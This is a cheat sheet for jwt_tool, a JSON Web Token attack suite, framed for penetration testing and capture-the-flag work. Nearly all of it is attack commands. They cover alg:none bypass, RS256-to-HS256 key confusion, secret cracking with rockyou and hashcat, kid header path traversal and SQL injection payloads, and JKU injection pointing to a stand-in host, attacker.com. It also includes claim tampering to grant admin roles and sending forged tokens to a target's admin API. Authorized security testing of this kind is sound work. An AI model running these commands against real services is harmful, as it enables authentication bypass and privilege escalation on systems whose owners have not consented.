JWT Tool

jwt_tool

JWT testing suite — alg:none, algorithm confusion, KID injection, JKU/X5U, secret crack.

Quick Start

git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool && pip3 install -r requirements.txt

TOKEN="eyJ..."

# Decode and inspect
python3 jwt_tool.py $TOKEN

# Run full automated playbook (test all vulns)
python3 jwt_tool.py $TOKEN -M pb

# Test alg:none
python3 jwt_tool.py $TOKEN -X a

# Brute force secret
python3 jwt_tool.py $TOKEN -C -d /usr/share/wordlists/rockyou.txt

# Algorithm confusion (RS256 → HS256)
python3 jwt_tool.py $TOKEN -X k -pk public.pem

# Interactive tamper (modify claims)
python3 jwt_tool.py $TOKEN -T

Core Flags

Exploit Modes (-X)

Common Attack Workflows

1. Automated Playbook (start here)

python3 jwt_tool.py $TOKEN -M pb
# Tests all known attack types automatically

2. alg:none Bypass

python3 jwt_tool.py $TOKEN -X a
# Also try: set role/admin claim before
python3 jwt_tool.py $TOKEN -X a -I -pc role -pv admin

3. Algorithm Confusion (RS256 → HS256)

# Need server's public key (from JWKS endpoint or certificate)
# Get from: https://target.com/.well-known/jwks.json
# Extract PEM with: python3 jwt_tool.py $TOKEN -X k

python3 jwt_tool.py $TOKEN -X k -pk public.pem
# Also escalate privilege:
python3 jwt_tool.py $TOKEN -X k -pk public.pem -I -pc admin -pv true

4. Secret Brute Force

# Standard wordlist
python3 jwt_tool.py $TOKEN -C -d /usr/share/wordlists/rockyou.txt

# Custom small list (CTF)
python3 jwt_tool.py $TOKEN -C -d ctf_secrets.txt

# Fast alternative with hashcat (GPU)
# Extract: <header>.<payload>.<signature>
echo -n "$TOKEN" | hashcat -a 0 -m 16500 - wordlist.txt

5. KID Injection

# Path traversal (sign with /dev/null = empty key)
python3 jwt_tool.py $TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""

# Path traversal to known file
python3 jwt_tool.py $TOKEN -I -hc kid -hv "../../etc/passwd" -S hs256 -p "root:x:0:0:..."

# SQL injection in kid
python3 jwt_tool.py $TOKEN -I -hc kid -hv "none' UNION SELECT 'hacked'-- -" -S hs256 -p "hacked"

6. JKU / X5U Injection

# Host malicious JWKS at https://attacker.com/.well-known/jwks.json
# jwt_tool auto-generates the JWKS and uses attacker key

python3 jwt_tool.py $TOKEN -X s -ju "https://attacker.com/.well-known/jwks.json"

7. Interactive Claim Tampering

# Interactive: shows each field, lets you edit
python3 jwt_tool.py $TOKEN -T

# Non-interactive: set specific claim
python3 jwt_tool.py $TOKEN -I -pc sub -pv admin
python3 jwt_tool.py $TOKEN -I -pc role -pv superadmin
python3 jwt_tool.py $TOKEN -I -pc is_admin -pv true

8. Verify Signature

python3 jwt_tool.py $TOKEN -V -pk public.pem

Send Forged Token to Target

# Test forged token directly
python3 jwt_tool.py $TOKEN -X a \
    -t "https://target.com/api/admin" \
    -rh "Authorization: Bearer TARGETJWT" \
    -cv "admin panel"    # confirm success if this string appears

Quick CTF Checklist

# 1. alg:none
python3 jwt_tool.py $TOKEN -X a

# 2. Common secrets
python3 jwt_tool.py $TOKEN -C -d /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt

# 3. Algorithm confusion (if RS256)
python3 jwt_tool.py $TOKEN -X k

# 4. Tamper claims
python3 jwt_tool.py $TOKEN -T

# 5. kid path traversal
python3 jwt_tool.py $TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""

# 6. Full playbook
python3 jwt_tool.py $TOKEN -M pb

Resources